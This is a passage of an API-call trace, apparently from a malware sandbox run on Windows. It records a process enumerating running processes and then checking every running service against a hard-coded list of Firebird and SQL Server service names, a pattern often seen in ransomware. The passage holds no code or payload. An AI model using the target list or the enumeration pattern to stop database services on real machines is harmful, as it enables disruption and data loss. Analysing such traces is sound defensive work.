out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.339] lstrlenW (lpString="conhost.exe") returned 11 [0078.339] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0078.339] lstrlenW (lpString="lang hl gis.exe") returned 15 [0078.339] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0078.340] lstrlenW (lpString="dllhost.exe") returned 11 [0078.340] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.578] lstrlenW (lpString="svchost.exe") returned 11 [0078.578] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0078.579] lstrlenW (lpString="dllhost.exe") returned 11 [0078.579] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0078.580] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0078.580] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0078.581] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0078.581] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.581] lstrlenW (lpString="conhost.exe") returned 11 [0078.582] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.582] lstrlenW (lpString="svchost.exe") returned 11 [0078.582] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.583] lstrlenW (lpString="cmd.exe") returned 7 [0078.583] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0078.584] CloseHandle (hObject=0x298) returned 1 [0078.584] Sleep (dwMilliseconds=0x1f4) [0079.559] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f320 [0079.559] EnumServicesStatusExW (in: hSCManager=0x47f320, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0079.560] GetLastError () returned 0xea [0079.560] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d5a) returned 0x3600078 [0079.561] EnumServicesStatusExW (in: hSCManager=0x47f320, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3600078, cbBufSize=0x1d5a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3600078, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0079.562] CloseServiceHandle (hSCObject=0x47f320) returned 1 [0079.562] lstrlenW (lpString="Appinfo") returned 7 [0079.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0079.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0079.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0079.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0079.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0079.562] lstrlenW (lpString="AppXSvc") returned 7 [0079.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0079.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0079.562] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0079.562] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0079.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0079.562] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0079.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.563] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0079.563] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0079.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0079.563] lstrlenW (lpString="Audiosrv") returned 8 [0079.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0079.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0079.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0079.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0079.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0079.563] lstrlenW (lpString="BFE") returned 3 [0079.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0079.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0079.563] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0079.563] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0079.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0079.563] lstrlenW (lpString="BITS") returned 4 [0079.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0079.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0079.563] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0079.563] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0079.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0079.563] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0079.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0079.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0079.563] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0079.563] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0079.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0079.564] lstrlenW (lpString="CDPSvc") returned 6 [0079.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0079.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0079.564] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0079.564] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0079.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0079.564] lstrlenW (lpString="ClickToRunSvc") returned 13 [0079.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0079.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0079.564] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0079.564] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0079.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0079.564] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0079.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0079.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0079.564] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0079.564] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0079.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0079.564] lstrlenW (lpString="CryptSvc") returned 8 [0079.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0079.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0079.564] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0079.564] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0079.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0079.564] lstrlenW (lpString="DcomLaunch") returned 10 [0079.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.565] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0079.565] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0079.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0079.565] lstrlenW (lpString="DeviceAssociationService") returned 24 [0079.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0079.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0079.565] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0079.565] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0079.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0079.565] lstrlenW (lpString="Dhcp") returned 4 [0079.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0079.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0079.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0079.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0079.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0079.565] lstrlenW (lpString="Dnscache") returned 8 [0079.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0079.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0079.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0079.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0079.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0079.565] lstrlenW (lpString="DoSvc") returned 5 [0079.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0079.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0079.565] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0079.565] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0079.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0079.566] lstrlenW (lpString="DPS") returned 3 [0079.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0079.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0079.566] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0079.566] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0079.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0079.566] lstrlenW (lpString="DusmSvc") returned 7 [0079.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0079.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0079.566] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0079.566] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0079.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0079.566] lstrlenW (lpString="EventLog") returned 8 [0079.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0079.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0079.566] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0079.566] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0079.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0079.566] lstrlenW (lpString="EventSystem") returned 11 [0079.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0079.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0079.566] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0079.566] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0079.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0079.566] lstrlenW (lpString="FontCache") returned 9 [0079.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0079.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0079.567] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0079.567] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0079.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0079.567] lstrlenW (lpString="gpsvc") returned 5 [0079.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0079.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0079.567] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0079.567] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0079.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0079.567] lstrlenW (lpString="iphlpsvc") returned 8 [0079.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.567] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0079.567] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0079.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0079.567] lstrlenW (lpString="KeyIso") returned 6 [0079.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0079.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0079.567] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0079.567] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0079.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0079.567] lstrlenW (lpString="LanmanServer") returned 12 [0079.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0079.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0079.568] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0079.568] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0079.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0079.568] lstrlenW (lpString="LanmanWorkstation") returned 17 [0079.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.568] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0079.568] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0079.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0079.568] lstrlenW (lpString="lfsvc") returned 5 [0079.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0079.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0079.568] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0079.568] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0079.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0079.568] lstrlenW (lpString="lmhosts") returned 7 [0079.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0079.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0079.568] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0079.568] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0079.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0079.568] lstrlenW (lpString="LSM") returned 3 [0079.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0079.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0079.568] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0079.568] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0079.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0079.569] lstrlenW (lpString="MapsBroker") returned 10 [0079.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0079.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0079.569] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0079.569] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0079.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0079.569] lstrlenW (lpString="MpsSvc") returned 6 [0079.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0079.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0079.569] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0079.569] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0079.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0079.569] lstrlenW (lpString="NcbService") returned 10 [0079.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0079.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0079.569] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0079.569] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0079.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0079.569] lstrlenW (lpString="netprofm") returned 8 [0079.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0079.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0079.569] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0079.569] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0079.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0079.569] lstrlenW (lpString="NlaSvc") returned 6 [0079.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0079.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0079.570] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0079.570] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0079.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0079.570] lstrlenW (lpString="nsi") returned 3 [0079.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0079.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0079.570] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0079.570] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0079.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0079.570] lstrlenW (lpString="PcaSvc") returned 6 [0079.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0079.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0079.570] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0079.570] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0079.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0079.570] lstrlenW (lpString="PlugPlay") returned 8 [0079.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0079.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0079.570] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0079.570] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0079.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0079.570] lstrlenW (lpString="Power") returned 5 [0079.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0079.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0079.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0079.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0079.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0079.571] lstrlenW (lpString="ProfSvc") returned 7 [0079.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0079.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0079.571] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0079.571] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0079.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0079.571] lstrlenW (lpString="RpcEptMapper") returned 12 [0079.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.571] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0079.571] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0079.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0079.571] lstrlenW (lpString="RpcSs") returned 5 [0079.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0079.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0079.571] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0079.571] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0079.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0079.571] lstrlenW (lpString="SamSs") returned 5 [0079.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0079.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0079.571] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0079.571] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0079.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0079.572] lstrlenW (lpString="Schedule") returned 8 [0079.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0079.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0079.572] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0079.572] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0079.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0079.572] lstrlenW (lpString="SecurityHealthService") returned 21 [0079.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0079.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0079.572] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0079.572] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0079.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0079.572] lstrlenW (lpString="SENS") returned 4 [0079.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0079.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0079.572] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0079.572] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0079.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0079.572] lstrlenW (lpString="ShellHWDetection") returned 16 